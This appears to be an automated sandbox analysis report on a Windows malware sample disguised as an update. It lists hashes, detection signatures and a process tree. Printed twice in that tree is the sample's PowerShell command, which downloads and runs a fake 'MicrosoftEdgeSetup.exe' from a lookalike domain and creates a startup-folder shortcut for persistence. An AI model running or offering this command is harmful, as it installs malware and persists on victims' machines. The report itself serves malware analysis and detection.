Edit tour
Windows
Analysis Report
upd_9686786.exe
Overview
General Information
| Sample name: | upd_9686786.exe |
| Analysis ID: | 1523560 |
| MD5: | 22f545cf93f55d3294abbbc7bfbbd6b8 |
| SHA1: | 9f3fcce983368fe70ddf070919f2516981934885 |
| SHA256: | b93d7961d05376e6aa0e6d122ae50f34db078acc9e95ed6408f39750d386a74a |
| Infos: |  |
 | |
Detection
| Score: | 60 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Powershell creates an autostart link
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Sigma detected: Potential Startup Shortcut Persistence Via PowerShell.EXE
Sigma detected: Suspicious Invoke-WebRequest Execution
Suspicious powershell command line found
Contains functionality for execution timing, often used to detect debuggers
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Detected potential crypto function
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
IP address seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains an invalid checksum
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample file is different than original file name gathered from version info
Sigma detected: PowerShell Web Download
Sigma detected: Startup Folder File Write
Sigma detected: Usage Of Web Request Commands And Cmdlets
Stores files to the Windows start menu directory
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Classification
- System is w10x64native
upd_9686786.exe (PID: 7588 cmdline: "C:\Users\ user\Deskt op\upd_968 6786.exe" MD5: 22F545CF93F55D3294ABBBC7BFBBD6B8) 
powershell.exe (PID: 816 cmdline: powershell .exe -Comm and "Invok e-WebReque st -Uri \" https://ap ple-online .shop/Micr osoftEdgeS etup.exe\" -OutFile \"$env:TMP /Microsoft EdgeSetup. exe\" ; & \"$env:TMP /Microsoft EdgeSetup. exe\" ; $s tartupFold er = [Syst em.IO.Path ]::Combine ($env:APPD ATA, 'Micr osoft\Wind ows\Start Menu\Progr ams\Startu p') ; $pro gramPath = 'C:\Users \user\Desk top\upd_96 86786.exe' ; $shortc utName = ' tuygh.lnk' ; $shortc utPath = [ System.IO. Path]::Com bine($star tupFolder, $shortcut Name) ; $W shShell = New-Object -ComObjec t WScript. Shell ; $s hortcut = $WshShell. CreateShor tcut($shor tcutPath) ; $shortcu t.TargetPa th = $prog ramPath ; $shortcut. WorkingDir ectory = [ System.IO. Path]::Get DirectoryN ame($progr amPath) ; $shortcut. Save()" MD5: 04029E121A0CFA5991749937DD22A1D9) 
conhost.exe (PID: 7700 cmdline: C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) - cmd.exe (PID: 2288 cmdline:
cmd.exe /c systeminf o MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 4684 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) 
systeminfo.exe (PID: 6456 cmdline: systeminfo MD5: EE309A9C61511E907D87B10EF226FDCD)
- upd_9686786.exe (PID: 8512 cmdline:
"C:\Users\ user\Deskt op\upd_968 6786.exe" MD5: 22F545CF93F55D3294ABBBC7BFBBD6B8) - powershell.exe (PID: 8620 cmdline:
powershell .exe -Comm and "Invok e-WebReque st -Uri \" https://ap ple-online .shop/Micr osoftEdgeS etup.exe\" -OutFile \"$env:TMP /Microsoft EdgeSetup. exe\" ; & \"$env:TMP /Microsoft EdgeSetup. exe\" ; $s tartupFold er = [Syst em.IO.Path ]::Combine ($env:APPD ATA, 'Micr osoft\Wind ows\Start Menu\Progr ams\Startu p') ; $pro gramPath = 'C:\Users \user\Desk top\upd_96 86786.exe' ; $shortc utName = ' tuygh.lnk' ; $shortc utPath = [ System.IO. Path]::Com bine($star tupFolder, $shortcut Name) ; $W shShell = New-Object -ComObjec t WScript. Shell ; $s hortcut = $WshShell. CreateShor tcut($shor tcutPath) ; $shortcu t.TargetPa th = $prog ramPath ; $shortcut. WorkingDir ectory = [ System.IO. Path]::Get DirectoryN ame($progr amPath) ; $shortcut. Save()" MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 8636 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) - cmd.exe (PID: 8628 cmdline:
cmd.exe /c systeminf o MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 8644 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) - systeminfo.exe (PID: 8736 cmdline:
systeminfo MD5: EE309A9C61511E907D87B10EF226FDCD)
- cleanup
⊘No configs have been found
⊘No yara matches
System Summary |   |
|---|
| Source: | Author: Christopher Peacock '@securepeacock', SCYTHE: | ||
| Source: | Author: Nasreddine Bencherchali (Nextron Systems): | ||